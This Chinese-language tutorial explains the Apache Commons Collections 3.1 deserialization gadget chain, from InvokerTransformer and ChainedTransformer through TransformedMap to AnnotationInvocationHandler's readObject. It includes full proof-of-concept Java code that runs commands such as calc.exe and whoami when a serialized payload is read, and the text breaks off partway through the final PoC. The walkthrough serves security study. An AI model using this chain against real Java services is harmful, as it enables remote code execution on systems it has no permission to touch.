JAVA反序列化学习-Commons-Collections
Java commons-collections是JDK 1.2中的一个主要新增部分。它添加了许多强大的数据结构,可以加速大多数重要Java应用程序的开发。从那时起,它已经成为Java中公认...
commons-collections-3.1
Java commons-collections是JDK 1.2中的一个主要新增部分。它添加了许多强大的数据结构,可以加速大多数重要Java应用程序的开发。从那时起,它已经成为Java中公认的集合处理标准。
Commons Collections实现了一个TransformedMap类,该类是对Java标准数据结构Map接口的一个扩展
该类可以在一个元素被加入到集合内时,自动对该元素进行特定的修饰变换,具体的变换逻辑由Transformer类定义,Transformer在TransformedMap实例化时作为参数传入
选择版本为3.1,下载地址,
<dependencies>
<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
</dependencies>
poc执行过程
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class Commons_collections_Test {
<span class="hljs-function"><span class="hljs-keyword">public</span> <span class="hljs-keyword">static</span> <span class="hljs-keyword">void</span> <span class="hljs-title">main</span><span class="hljs-params">(String[] args)</span> <span class="hljs-keyword">throws</span> Exception </span>{
<span class="hljs-comment">//1.客户端构建攻击代码</span>
<span class="hljs-comment">//此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码</span>
Transformer[] transformers = <span class="hljs-keyword">new</span> Transformer[] {
<span class="hljs-keyword">new</span> ConstantTransformer(Runtime.class),
<span class="hljs-keyword">new</span> InvokerTransformer(<span class="hljs-string">"getMethod"</span>, <span class="hljs-keyword">new</span> Class[] {String.class, Class[].class }, <span class="hljs-keyword">new</span> Object[] {<span class="hljs-string">"getRuntime"</span>, <span class="hljs-keyword">new</span> Class[<span class="hljs-number">0</span>] }),
<span class="hljs-keyword">new</span> InvokerTransformer(<span class="hljs-string">"invoke"</span>, <span class="hljs-keyword">new</span> Class[] {Object.class, Object[].class }, <span class="hljs-keyword">new</span> Object[] {<span class="hljs-keyword">null</span>, <span class="hljs-keyword">new</span> Object[<span class="hljs-number">0</span>] }),
<span class="hljs-keyword">new</span> InvokerTransformer(<span class="hljs-string">"exec"</span>, <span class="hljs-keyword">new</span> Class[] {String.class }, <span class="hljs-keyword">new</span> Object[] {<span class="hljs-string">"calc.exe"</span>})
};
<span class="hljs-comment">//将transformers数组存入ChaniedTransformer这个继承类</span>
Transformer transformerChain = <span class="hljs-keyword">new</span> ChainedTransformer(transformers);
<span class="hljs-comment">//创建Map并绑定transformerChain</span>
Map innerMap = <span class="hljs-keyword">new</span> HashMap();
innerMap.put(<span class="hljs-string">"value"</span>, <span class="hljs-string">"value"</span>);
<span class="hljs-comment">//给予map数据转化链</span>
Map outerMap = TransformedMap.decorate(innerMap, <span class="hljs-keyword">null</span>, transformerChain);
<span class="hljs-comment">//反射机制调用AnnotationInvocationHandler类的构造函数</span>
Class cl = Class.forName(<span class="hljs-string">"sun.reflect.annotation.AnnotationInvocationHandler"</span>);
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
<span class="hljs-comment">//取消构造函数修饰符限制</span>
ctor.setAccessible(<span class="hljs-keyword">true</span>);
<span class="hljs-comment">//获取AnnotationInvocationHandler类实例</span>
Object instance = ctor.newInstance(Target.class, outerMap);
<span class="hljs-comment">//payload序列化写入文件,模拟网络传输</span>
FileOutputStream f = <span class="hljs-keyword">new</span> FileOutputStream(<span class="hljs-string">"payload.bin"</span>);
ObjectOutputStream fout = <span class="hljs-keyword">new</span> ObjectOutputStream(f);
fout.writeObject(instance);
<span class="hljs-comment">//2.服务端读取文件,反序列化,模拟网络传输</span>
FileInputStream fi = <span class="hljs-keyword">new</span> FileInputStream(<span class="hljs-string">"payload.bin"</span>);
ObjectInputStream fin = <span class="hljs-keyword">new</span> ObjectInputStream(fi);
<span class="hljs-comment">//服务端反序列化</span>
fin.readObject();
}
}
调用栈
org.apache.commons.collections.map.AbstractInputCheckedMapDecorator#setValue
首先进入的是setValue()方法,调用了checkSetValue()
org.apache.commons.collections.map.TransformedMap#checkSetValue
this.valueTransformer等于ChainedTransformer类,调用了ChainedTransformer类中的transform方法
org.apache.commons.collections.functors.ChainedTransformer#transform
根据this.iTransformers数组的值可以知道,第一次进入的是ConstantTransformer类的transform方法,后三次进入的是InvokerTransformer类的transform。transform的返回值会作为下个transform函数的参数,然后继续执行
看一下ChainedTransformer的构造函数,可以发现this.iTransformers可控
org.apache.commons.collections.functors.ChainedTransformer#ConstantTransformer
第一次进入的transform
org.apache.commons.collections.functors.InvokerTransformer#transform
后三次进入InvokerTransformer的Transformer方法,这里存在反射调用,参数可控。
执行过程
- setValue()
- checkSetvalue()
- ChainedTransformer类中的
transform方法 - 四次循环,第一次进入ConstantTransformer的transform,后三次进入InvokerTransformer的transform
- 触发反射
反射链
org.apache.commons.collections.functors.InvokerTransformer#transform
这里实现了反射调用,如果input等于Runtime类,那么input.getClass获取到的是java.lang.class,这样无法获取到方法,必须让input等于Runtime实例
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
<span class="hljs-comment">//input必须为Runtime的实例,cls才会等于Runtime类,</span>
Class cls = input.getClass();
<span class="hljs-comment">//this.iMethodName等于exec,this.iParamTypes等于String.class</span>
Method method = cls.getMethod(<span class="hljs-keyword">this</span>.iMethodName, <span class="hljs-keyword">this</span>.iParamTypes);
<span class="hljs-comment">//this.Args为要执行的命令</span>
<span class="hljs-keyword">return</span> method.invoke(input, <span class="hljs-keyword">this</span>.iArgs);
}
.........
}
}
看一下构造函数,三个属性都是传入参数
参考反射命令执行代码
Class.forName("java.lang.Runtime")
.getMethod("exec", String.class)
.invoke( Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"))
,
"calc.exe"
);
需要满足以下条件
this.iMethodName=“exec”
this.iParamTypes=String.class
input=Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"))
this.iArgs="calc.exe"
尝试尝试构造执行命令
import org.apache.commons.collections.functors.InvokerTransformer;
public class Commons_collections_Test {
public static void main(String[] args) throws Exception {
InvokerTransformer invokerTransformer=new InvokerTransformer("exec",new Class[]{String.class},new String[]{"calc.exe"});
invokerTransformer.transform(Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime")));
}
}
可以成功执行,但是还存在一个问题就是无法传入Runtime的实例对象。
两种获取Runtime实例的错误思路
用readObject模拟反序列化
序列化
import org.apache.commons.collections.functors.InvokerTransformer;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
public class Commons_collections_Test {
<span class="hljs-function"><span class="hljs-keyword">public</span> <span class="hljs-keyword">static</span> <span class="hljs-keyword">void</span> <span class="hljs-title">main</span><span class="hljs-params">(String[] args)</span> <span class="hljs-keyword">throws</span> Exception </span>{
<span class="hljs-comment">//构造InvokerTransformer</span>
InvokerTransformer a=<span class="hljs-keyword">new</span> InvokerTransformer(<span class="hljs-string">"exec"</span>,<span class="hljs-keyword">new</span> Class[]{String.class},<span class="hljs-keyword">new</span> String[]{<span class="hljs-string">"calc.exe"</span>});
<span class="hljs-comment">//序列化</span>
FileOutputStream f=<span class="hljs-keyword">new</span> FileOutputStream(<span class="hljs-string">"payload.bin"</span>);
ObjectOutputStream fout=<span class="hljs-keyword">new</span> ObjectOutputStream(f);
fout.writeObject(a);
<span class="hljs-comment">//构造传入transform的参数,Runtime实例</span>
Object input=Class.forName(<span class="hljs-string">"java.lang.Runtime"</span>).getMethod(<span class="hljs-string">"getRuntime"</span>).invoke(Class.forName(<span class="hljs-string">"java.lang.Runtime"</span>));
<span class="hljs-comment">//反序列化</span>
FileInputStream fi=<span class="hljs-keyword">new</span> FileInputStream(<span class="hljs-string">"payload.bin"</span>);
ObjectInputStream fin=<span class="hljs-keyword">new</span> ObjectInputStream(fi);
InvokerTransformer b=(InvokerTransformer) fin.readObject();
<span class="hljs-comment">//触发漏洞,调用transform,input为传入参数</span>
b.transform(input);
}
}
反序列化
可以看到存在一个问题,必须给transform传入一个构造好的Runtime实例也就是input才可以触发漏洞,实际环境里不可能有这样一个构造好的实例,那么能否利用反序列化给transform传入Runtime实例呢?
import org.apache.commons.collections.functors.InvokerTransformer;
import java.io.FileInputStream;
import java.io.ObjectInputStream;
import java.io.Serializable;
public class Serial implements Serializable {
public static void main(String[] args) throws Exception{
//构造传入transform的参数,为Runtime实例,
Object input=Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"));
<span class="hljs-comment">//反序列化</span>
FileInputStream fi=<span class="hljs-keyword">new</span> FileInputStream(<span class="hljs-string">"payload.bin"</span>);
ObjectInputStream fin=<span class="hljs-keyword">new</span> ObjectInputStream(fi);
InvokerTransformer b=(InvokerTransformer) fin.readObject();
<span class="hljs-comment">//触发漏洞,调用transform,input为传入参数</span>
b.transform(input);
}
}
org.apache.commons.collections.functors.ChainedTransformer#transform
这里可以控制传入transform的参数,因为object的来源是上一次this.ITransformers[i].transform的返回值,而且因为iTransformers可控,我们可以调用任意一个类的transform方法
org.apache.commons.collections.functors.ChainedTransformer#ConstantTransformer
这里我们可以控制this.iContant,它会等于下一次执行的传入参数object。表面上看让它等于Runtime实例就解决了之前无法传入Runtime实例的问题,但是实际上并不可行,因为Runtime类不能被反序列化
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
public class Commons_collections_Test {
<span class="hljs-function"><span class="hljs-keyword">public</span> <span class="hljs-keyword">static</span> <span class="hljs-keyword">void</span> <span class="hljs-title">main</span><span class="hljs-params">(String[] args)</span> <span class="hljs-keyword">throws</span> Exception </span>{
<span class="hljs-comment">//构造Transformers数组</span>
Transformer[] transformers=<span class="hljs-keyword">new</span> Transformer[]{
<span class="hljs-keyword">new</span> ConstantTransformer(Class.forName(<span class="hljs-string">"java.lang.Runtime"</span>).getMethod(<span class="hljs-string">"getRuntime"</span>).invoke(Class.forName(<span class="hljs-string">"java.lang.Runtime"</span>))),
<span class="hljs-keyword">new</span> InvokerTransformer(<span class="hljs-string">"exec"</span>,<span class="hljs-keyword">new</span> Class[]{String.class},<span class="hljs-keyword">new</span> String[]{<span class="hljs-string">"calc.exe"</span>})
};
<span class="hljs-comment">//用ChainedTransformer封装构造好的Transformers数组,也就是让构造好的数组等于this.iTransformers</span>
Transformer transformerChain=<span class="hljs-keyword">new</span> ChainedTransformer(transformers);
<span class="hljs-comment">//序列化</span>
FileOutputStream f=<span class="hljs-keyword">new</span> FileOutputStream(<span class="hljs-string">"payload.bin"</span>);
ObjectOutputStream fout=<span class="hljs-keyword">new</span> ObjectOutputStream(f);
fout.writeObject(transformerChain);
}
}
执行失败
换一种思路,有没有可能利用反射直接在服务器生成一个Runtime实例?
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
public class Commons_collections_Test {
<span class="hljs-function"><span class="hljs-keyword">public</span> <span class="hljs-keyword">static</span> <span class="hljs-keyword">void</span> <span class="hljs-title">main</span><span class="hljs-params">(String[] args)</span> <span class="hljs-keyword">throws</span> Exception </span>{
<span class="hljs-comment">//构造transformers</span>
Transformer[] transformers=<span class="hljs-keyword">new</span> Transformer[]{
<span class="hljs-keyword">new</span> ConstantTransformer(Runtime.class),
<span class="hljs-keyword">new</span> InvokerTransformer(<span class="hljs-string">"getRuntime"</span>,<span class="hljs-keyword">new</span> Class[]{},<span class="hljs-keyword">new</span> Object[]{}),
<span class="hljs-keyword">new</span> InvokerTransformer(<span class="hljs-string">"exec"</span>,<span class="hljs-keyword">new</span> Class[]{String.class},<span class="hljs-keyword">new</span> String[]{<span class="hljs-string">"calc.exe"</span>})
};
Transformer transformerChain=<span class="hljs-keyword">new</span> ChainedTransformer(transformers);
transformerChain.transform(<span class="hljs-keyword">null</span>);
}
}
依然报错,原因是前面提到的反射机制,Runtime.class返回java.lang.class,这里我们必须把Runtime.class换成Runtime实例.class才能按预想中的执行,但是我们现在就在想办法得到Runtime实例,这样就变成一个死循环了。这个方法也不行
反射+反射
getRuntime方法会返回Runtime实例,只要获取到了getRuntime方法再invoke执行就等于获取到了Runtime实例。既然无法直接获取Runtime实例,那可以去尝试获取getRuntime方法。
注意:开始传入的是java.lang.class类(Runtime.class)
步骤
- 通过反射机制获取反射机制中的getMethod类,由于getMethod类是存在Class类中,就符合开头Class类的限制
- 通过getMethod函数获取Runtime类中的getRuntime函数。在哪个类中调用getMethod去获取方法,实际上是由invoke函数里面的的第一个参数obj决定的
- 再通过反射机制获取反射机制中的invoke类,执行上面获取的getRuntime函数
- invoke调用getRuntime函数,获取Runtime类的实例。里在使用反射机制调用getRuntime静态类时,invoke里面第一个参数obj其实可以任意改为null,或者其他类,而不一定要是Runtime类
关于反射
类.getMethod(要获取的方法名,要获取方法的参数类型) 获得方法对象
方法对象.invoke(相关类实例/相关类,参数) 执行方法
invoke的第一个参数是执行method的对象obj:
如果这个方法是一个普通方法,那么第一个参数是类对象
如果这个方法是一个静态方法,那么第一个参数是类
接下来分析一下利用反射机制进行反射调用的过程
第一次循环直接返回了Runtime.class
input1=Runtime.class
第二次
实际执行的代码
//第二次循环
Class cls2=input1.getClass(); //cls2:java.lang.class类
Method method2=cls2.getMethod("getMethod", String.class, Class[].class);//method2:通过反射获取到的getMethod对象
Object input2=method2.invoke(input1,new Object[] {"getRuntime", new Class[]{} });//input2:getRuntime对象
第三次循环,最重要的一步,先用反射获取invoke方法对象,然后利用invoke方法对象.invoke执行传入getRuntime方法对象,得到Runtime实例
//第三次循环,input是通过反射获取到的getRuntime对象
Class cls3=input2.getClass();//java.lang.reflec.Method类
Method method3=cls3.getMethod("invoke", new Class[] {Object.class, Object[].class });//method3:invoke方法对象.第二个参数为invoke的参数类型
<span class="hljs-comment">//invoke方法对象.invoke(input, this.iArgs)实际上等于input.invoke(this.iArgs)</span>
Object input3=method3.invoke(input2,<span class="hljs-keyword">new</span> Object[] {<span class="hljs-keyword">null</span>, <span class="hljs-keyword">new</span> Object[]{} }); <span class="hljs-comment">//input3:Runtime实例</span>
第四次循环
//第四次循环,已经获取到了Runtime实例
Class cls4=input3.getClass(); //cls4:java.lang.Runtime类
Method method4=cls4.getMethod("exec",new Class[] {String.class });//method4:exec方法对象
method4.invoke(input3,new Object[] {"calc.exe"});//exec方法对象.invoke(Runtime实例,参数)
简化流程
import java.lang.reflect.Method;
public class Commons_collections_Test {
<span class="hljs-function"><span class="hljs-keyword">public</span> <span class="hljs-keyword">static</span> <span class="hljs-keyword">void</span> <span class="hljs-title">main</span><span class="hljs-params">(String[] args)</span> <span class="hljs-keyword">throws</span> Exception </span>{
<span class="hljs-comment">//第一次循环,返回了Runtie.class</span>
Class input1=Runtime.class;
<span class="hljs-comment">//第二次循环</span>
Class cls2=input1.getClass(); <span class="hljs-comment">//cls2:java.lang.class类</span>
Method method2=cls2.getMethod(<span class="hljs-string">"getMethod"</span>, String.class, Class[].class);<span class="hljs-comment">//method2:通过反射获取到的getMethod对象</span>
Object input2=method2.invoke(input1,<span class="hljs-keyword">new</span> Object[] {<span class="hljs-string">"getRuntime"</span>, <span class="hljs-keyword">new</span> Class[]{} });<span class="hljs-comment">//input2:getRuntime对象</span>
<span class="hljs-comment">//第三次循环,input是通过反射获取到的getRuntime对象</span>
Class cls3=input2.getClass();<span class="hljs-comment">//java.lang.reflec.Method类</span>
Method method3=cls3.getMethod(<span class="hljs-string">"invoke"</span>, <span class="hljs-keyword">new</span> Class[] {Object.class, Object[].class });<span class="hljs-comment">//method3:invoke方法对象.第二个参数为invoke的参数类型</span>
<span class="hljs-comment">//invoke方法对象.invoke(input, this.iArgs)实际上等于input.invoke(this.iArgs)</span>
Object input3=method3.invoke(input2,<span class="hljs-keyword">new</span> Object[] {<span class="hljs-keyword">null</span>, <span class="hljs-keyword">new</span> Object[]{} }); <span class="hljs-comment">//input3:Runtime实例</span>
<span class="hljs-comment">//第四次循环,已经获取到了Runtime实例</span>
Class cls4=input3.getClass(); <span class="hljs-comment">//cls4:java.lang.Runtime类</span>
Method method4=cls4.getMethod(<span class="hljs-string">"exec"</span>,<span class="hljs-keyword">new</span> Class[] {String.class });<span class="hljs-comment">//method4:exec方法对象</span>
method4.invoke(input3,<span class="hljs-keyword">new</span> Object[] {<span class="hljs-string">"calc.exe"</span>});<span class="hljs-comment">//exec方法对象.invoke(Runtime实例,参数)</span>
}
}
反序列化触发点
到目前为止我们已经构造好了反射利用链,现在来看一下如何触发,触发需要两个条件
- 服务器调用readObject反序列化构造好的ChainedChainedTransformer
- 调用反序列化后的ChainedTransformer类中的transform方法执行命令
代码如下,实际环境中基本不可能满足这两个条件,因此我们需要寻找其他触发方式
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
public class Commons_collections_Test {
<span class="hljs-function"><span class="hljs-keyword">public</span> <span class="hljs-keyword">static</span> <span class="hljs-keyword">void</span> <span class="hljs-title">main</span><span class="hljs-params">(String[] args)</span> <span class="hljs-keyword">throws</span> Exception </span>{
Transformer[] transformers=<span class="hljs-keyword">new</span> Transformer[]{
<span class="hljs-keyword">new</span> ConstantTransformer(Runtime.class),
<span class="hljs-comment">//根据transform的执行规则,InvokeTransformer类构造函数的第一个参数为要执行的,第二个参数为一个Class[],包含了要获取方法的参数类型。第三个参数为invoke的第二个参数</span>
<span class="hljs-keyword">new</span> InvokerTransformer(<span class="hljs-string">"getMethod"</span>,<span class="hljs-keyword">new</span> Class[]{String.class,Class[].class},<span class="hljs-keyword">new</span> Object[]{<span class="hljs-string">"getRuntime"</span>,<span class="hljs-keyword">new</span> Class[]{}}),
<span class="hljs-keyword">new</span> InvokerTransformer(<span class="hljs-string">"invoke"</span>,<span class="hljs-keyword">new</span> Class[]{Object.class,Object[].class},<span class="hljs-keyword">new</span> Object[]{<span class="hljs-keyword">null</span>,<span class="hljs-keyword">new</span> Object[]{}}),
<span class="hljs-keyword">new</span> InvokerTransformer(<span class="hljs-string">"exec"</span>,<span class="hljs-keyword">new</span> Class[]{String.class},<span class="hljs-keyword">new</span> Object[]{<span class="hljs-string">"calc"</span>})
};
<span class="hljs-comment">//把构造好的数组封装成ChainedTransformer</span>
ChainedChainedTransformer chainedTransformer=<span class="hljs-keyword">new</span> ChainedTransformer(transformers);
<span class="hljs-comment">//序列化数据</span>
FileOutputStream fileOutputStream=<span class="hljs-keyword">new</span> FileOutputStream(<span class="hljs-string">"payload.bin"</span>);
ObjectOutputStream objectOutputStream=<span class="hljs-keyword">new</span> ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(chainedTransformer);
<span class="hljs-comment">//反序列化数据</span>
FileInputStream fileInputStream=<span class="hljs-keyword">new</span> FileInputStream(<span class="hljs-string">"payload.bin"</span>);
ObjectInputStream objectInputStream=<span class="hljs-keyword">new</span> ObjectInputStream(fileInputStream);
<span class="hljs-comment">//调用反序列化后的ChainedTransformer类中的transform方法触发</span>
ChainedTransformer SerialChainTransformer=(ChainedTransformer)objectInputStream.readObject();
SerialChainTransformer.transform(<span class="hljs-keyword">null</span>);
}
}
关于Map的一些补充知识
Map是java中的接口,Map.Entry是Map的一个内部接口
- keySet()方法返回Map中key值的集合
- entrySet()返回一个Set集合,集合类型为Map.Entry(键值对)
- Map.Entry是Map声明的一个内部接口,Map.Entry表示一个实体即键值对(key-value对)
- getKey(),getValue方法可以修改集合中的元素
绑定Map和ChainedTransformer
为什么要绑定Map和ChainedTransformer?
之前我们把构造好的Transformer数组封装成了一个ChainedTransformer,TransformerMap类的decorate方法可以绑定map和ChainedTransformer,只要在map中添加数据就会自动调用构造好的ChainedTransformer,执行payload,这样降低了触发的难度
目前的执行过程
- 创建一个Map和一个构造好反射链的ChainedTransformer
- 调用TransformedMap类的decorate方法创建一个实例,绑定创建好的Map和ChainedTransformer
- 利用setValue()函数修改TransformedMap中的键值
- 触发ChainedTransformer中的Transform反射链
org.apache.commons.collections.map.TransformedMap#decorate
TransformedMap类的功能?
Map类是保存键值对的数据结构,common collections中实现了一个TransformedMap类,这个类可以在键值对的key或者value被修改时自动调用我们设置的transform方法进行修饰和变换。decorate方法可以创建一个TransformedMap的实例。
decorate方法的功能?
创建一个TransformedMap实例,绑定Map和转换方法
它的第一个参数为待转化的Map对象,第二个参数为Map对象内的key要经过的转化方法(可为单个方法,也可为链,也可为空),第三个参数为Map对象内的value要经过的转化方法。
代码实例
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.util.HashMap;
import java.util.Map;
public class Commons_collections_Test {
<span class="hljs-function"><span class="hljs-keyword">public</span> <span class="hljs-keyword">static</span> <span class="hljs-keyword">void</span> <span class="hljs-title">main</span><span class="hljs-params">(String[] args)</span> <span class="hljs-keyword">throws</span> Exception </span>{
Transformer[] transformers=<span class="hljs-keyword">new</span> Transformer[]{
<span class="hljs-keyword">new</span> ConstantTransformer(Runtime.class),
<span class="hljs-comment">//根据transform的执行规则,InvokeTransformer类构造函数的第一个参数为要执行的,第二个参数为一个Class[],包含了要获取方法的参数类型。第三个参数为invoke的第二个参数</span>
<span class="hljs-keyword">new</span> InvokerTransformer(<span class="hljs-string">"getMethod"</span>,<span class="hljs-keyword">new</span> Class[]{String.class,Class[].class},<span class="hljs-keyword">new</span> Object[]{<span class="hljs-string">"getRuntime"</span>,<span class="hljs-keyword">new</span> Class[]{}}),
<span class="hljs-keyword">new</span> InvokerTransformer(<span class="hljs-string">"invoke"</span>,<span class="hljs-keyword">new</span> Class[]{Object.class,Object[].class},<span class="hljs-keyword">new</span> Object[]{<span class="hljs-keyword">null</span>,<span class="hljs-keyword">new</span> Object[]{}}),
<span class="hljs-keyword">new</span> InvokerTransformer(<span class="hljs-string">"exec"</span>,<span class="hljs-keyword">new</span> Class[]{String.class},<span class="hljs-keyword">new</span> Object[]{<span class="hljs-string">"calc"</span>})
};
<span class="hljs-comment">//把构造好的数组封装成ChainedTransformer</span>
ChainedTransformer chainedTransformer=<span class="hljs-keyword">new</span> ChainedTransformer(transformers);
Map innerMap=<span class="hljs-keyword">new</span> HashMap();
innerMap.put(<span class="hljs-string">"value"</span>,<span class="hljs-string">"value"</span>);
Map map=TransformedMap.decorate(innerMap,<span class="hljs-keyword">null</span>,chainedTransformer);
<span class="hljs-comment">//序列化map</span>
FileOutputStream fileOutputStream=<span class="hljs-keyword">new</span> FileOutputStream(<span class="hljs-string">"payload.bin"</span>);
ObjectOutputStream objectOutputStream=<span class="hljs-keyword">new</span> ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(map);
FileInputStream fileInputStream=<span class="hljs-keyword">new</span> FileInputStream(<span class="hljs-string">"payload.bin"</span>);
ObjectInputStream objectInputStream=<span class="hljs-keyword">new</span> ObjectInputStream(fileInputStream);
<span class="hljs-comment">//反序列化</span>
Map UnserializedMap=(Map)objectInputStream.readObject();
<span class="hljs-comment">//只要修改Map的值就会触发转换链,执行payload</span>
<span class="hljs-comment">//向Map中添加新值</span>
<span class="hljs-comment">//UnserializedMap.put("123","123");</span>
<span class="hljs-comment">//修改键值</span>
Map.Entry entry = (Map.Entry) UnserializedMap.entrySet().iterator().next();
entry.setValue(<span class="hljs-string">"foobar"</span>);
}
}
目前存在的问题?
现在触发条件变成了经过迭代器迭代调用setValue函数修改Map值来触发漏洞,
但是仍然依赖于调用setValue(),需要进一步延长利用链,在调用readObject()方法时直接触发payload
AnnotationInvocationHandler的readObject复写点
进一步延长利用链
java在反序列化中会优先调用复写的readObject,那么如果某个可以被序列化中的类重写了readObject()方法,并且在readObject()方法中存在修改Map类型变量键值的操作,同时Map类型变量可控的话,就可以实现一步到位,一调用readObject()就触发payload。
概括一下目标类需要满足的三个条件
- 存在复写的readObject()方法
- readObject()方法中存在修改Map类型变量键值的操作
- Map类型变量可控
这个类就是sun.reflect.annotation.AnnotationInvocationHandler
AnnotationInvocationHandler构造函数
可以看到有一个可控的成员变量memberValues,接收传入的Map参数,
sun.reflect.annotation.AnnotationInvocationHandler#readObject
这里对memberValues进行了setValue操作,触发payload
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
AnnotationType var2 = null;
<span class="hljs-keyword">try</span> {
var2 = AnnotationType.getInstance(<span class="hljs-keyword">this</span>.type);
} <span class="hljs-keyword">catch</span> (IllegalArgumentException var9) {
<span class="hljs-keyword">return</span>;
}
Map var3 = var2.memberTypes();
Iterator var4 = <span class="hljs-keyword">this</span>.memberValues.entrySet().iterator();
<span class="hljs-keyword">while</span>(var4.hasNext()) {
Entry var5 = (Entry)var4.next();
String var6 = (String)var5.getKey();
Class var7 = (Class)var3.get(var6);
<span class="hljs-keyword">if</span> (var7 != <span class="hljs-keyword">null</span>) {
Object var8 = var5.getValue();
<span class="hljs-keyword">if</span> (!var7.isInstance(var8) && !(var8 <span class="hljs-keyword">instanceof</span> ExceptionProxy)) {
var5.setValue((<span class="hljs-keyword">new</span> AnnotationTypeMismatchExceptionProxy(var8.getClass() + <span class="hljs-string">"["</span> + var8 + <span class="hljs-string">"]"</span>)).setMember((Method)var2.members().get(var6))); <span class="hljs-comment">//存在setValue</span>
}
}
}
}
总结
过程总结
- 首先构造一个Map和一个能够执行代码的ChainedTransformer(),
- 调用TransformedMap.decorate绑定Map和ChainedTransformer,生成一个TransformedMap实例
- 实例化AnnotationInvocationHandler类,并对其进行序列化,
- 当触发readObject()反序列化的时候,就能实现命令执行。
import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
import java.util.Map.Entry;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
public class POC_Test{
public static void main(String[] args) throws Exception {
//execArgs: 待执行的命令数组
//String[] execArgs = new String[] { "sh", "-c", "whoami > /tmp/fuck" };
<span class="hljs-comment">//transformers: 一个transformer链,包含各类transformer对象(预设转化逻辑)的转化数组</span>
Transformer[] transformers = <span class="hljs-keyword">new</span> Transformer[] {
<span class="hljs-keyword">new</span> ConstantTransformer(Runtime.class),
<span class="hljs-comment">/*
由于Method类的invoke(Object obj,Object args[])方法的定义
所以在反射内写new Class[] {Object.class, Object[].class }
正常POC流程举例:
((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec("gedit");
*/</span>
<span class="hljs-keyword">new</span> InvokerTransformer(
<span class="hljs-string">"getMethod"</span>,
<span class="hljs-keyword">new</span> Class[] {String.class, Class[].class },
<span class="hljs-keyword">new</span> Object[] {<span class="hljs-string">"getRuntime"</span>, <span class="hljs-keyword">new</span> Class[<span class="hljs-number">0</span>] }
),
<span class="hljs-keyword">new</span> InvokerTransformer(
<span class="hljs-string">"invoke"</span>,
<span class="hljs-keyword">new</span> Class[] {Object.class,Object[].class },
<span class="hljs-keyword">new</span> Object[] {<span class="hljs-keyword">null</span>, <span class="hljs-keyword">null</span> }
),
<span class="hljs-keyword">new</span> InvokerTransformer(
<span class="hljs-string">"exec"</span>,
<span class="hljs-keyword">new</span> Class[] {String[].class },
<span class="hljs-keyword">new</span> Object[] { <span class="hljs-string">"whoami"</span> }
<span class="hljs-comment">//new Object[] { execArgs } </span>
)
};
<span class="hljs-comment">//transformedChain: ChainedTransformer类对象,传入transformers数组,可以按照transformers数组的逻辑执行转化操作</span>
Transformer transformedChain = <span class="hljs-keyword">new</span> ChainedTransformer(transformers);
<span class="hljs-comment">//BeforeTransformerMap: Map数据结构,转换前的Map,Map数据结构内的对象是键值对形式,类比于python的dict</span>
<span class="hljs-comment">//Map&lt;String, String&gt; BeforeTransformerMap = new HashMap&lt;String, String&gt;();</span>
Map<String,String> BeforeTransformerMap = <span class="hljs-keyword">new</span> HashMap<String,String>();
BeforeTransformerMap.put(<span class="hljs-string">"hello"</span>, <span class="hljs-string">"hello"</span>);
<span class="hljs-comment">//Map数据结构,转换后的Map</span>
<span class="hljs-comment">/*
TransformedMap.decorate方法,预期是对Map类的数据结构进行转化,该方法有三个参数。
第一个参数为待转化的Map对象
第二个参数为Map对象内的key要经过的转化方法(可为单个方法,也可为链,也可为空)
第三个参数为Map对象内的value要经过的转化方法。
*/</span>
